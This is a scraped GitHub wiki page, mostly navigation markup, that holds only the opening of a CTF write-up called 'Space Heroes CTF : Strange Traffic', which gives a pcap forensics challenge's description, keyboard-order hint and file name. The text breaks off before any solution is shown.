<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/not1cyyy/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4 page" id="wiki-wrapper"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title">Space Heroes CTF : Strange Traffic</h1>
<div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> Jump to bottom
</div> </div>
<div class="mt-2 mt-md-1 pb-3 gh-header-meta"> Firas Chaib edited this page <relative-time datetime="2022-04-15T17:30:24Z" class="no-wrap">Apr 15, 2022</relative-time> · 1 revision </div>
<div id="wiki-content" class="mt-4"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-end Layout--sidebarPosition-flowRow-end"> <div data-view-component="true" class="Layout-sidebar"> <div class="wiki-rightbar"> <div id="wiki-pages-box" class="mb-4 wiki-pages-box js-wiki-pages-box" role="navigation"> <div class="Box Box--condensed color-shadow-small"> <div class="Box-header js-wiki-toggle-collapse" style="cursor: pointer"> <h3 class="Box-title"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toggle-display"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-right js-wiki-sidebar-toggle-display d-none"> <path d="m6.427 4.427 3.396 3.396a.25.25 0 0 1 0 .354l-3.396 3.396A.25.25 0 0 1 6 11.396V4.604a.25.25 0 0 1 .427-.177Z"></path></svg> Pages <span>14</span> </h3> </div> <div class=" js-wiki-sidebar-toggle-display"> <div class="filter-bar"> <input type="text" id="wiki-pages-filter" class="form-control input-sm input-block js-filterable-field" placeholder="Find a page…" aria-label="Find a page…"> </div>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Home</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Home/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> GDG Algiers CTF : franklin last words</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/GDG-Algiers-CTF-:-franklin-last-words/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PatriotCTF : Banner</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PatriotCTF-:-Banner/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PatriotCTF : CoruptAAAAd</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PatriotCTF-:-CoruptAAAAd/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Eavesdrop</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Eavesdrop/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Operation Oni</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Operation-Oni/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Sleuthkit Apprentice</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Sleuthkit-Apprentice/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : st3g0</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-st3g0/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Transposition Trial</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Transposition-Trial/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Easy Crypto Challenge</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Easy-Crypto-Challenge/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Information Paradox</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Information-Paradox/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Invisible Stargate</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Invisible-Stargate/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Off The Grid</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Off-The-Grid/_toc"> </include-fragment></details>
<details class="details-reset" open> <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron js-wiki-sidebar-toc-toggle-chevron-open mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Strange Traffic</span> </div> </summary>
Description Files Solution Recon Execution Flag
</details>
</div></div>
</div>
<h5 class="mt-0 mb-2">Clone this wiki locally</h5> <div class="width-full input-group"> <input id="wiki-clone-url" type="text" data-autoselect class="form-control input-sm text-small color-fg-muted input-monospace" aria-label="Clone URL for this wiki" value="https://github.com/not1cyyy/CTF-Writeups.wiki.git" readonly> <span> <clipboard-copy for="wiki-clone-url" aria-label="Copy to clipboard" data-view-component="true" class="btn btn-sm zeroclipboard-button"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg style="display: none;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check color-fg-success"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg></clipboard-copy> </span> </div> </div></div> <div data-view-component="true" class="Layout-main"> <div id="wiki-body" class="gollum-markdown-content"> <div class="markdown-body"> <h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description</h1>We were given a pcap file to investigate and asked to recover the flagHint : alt,esc,1,2,3,4,5,6,7,8,9,0,-,=,backspace,tab,q,w,…<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Files</h2>strangetrafficchallenge.pcap<h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 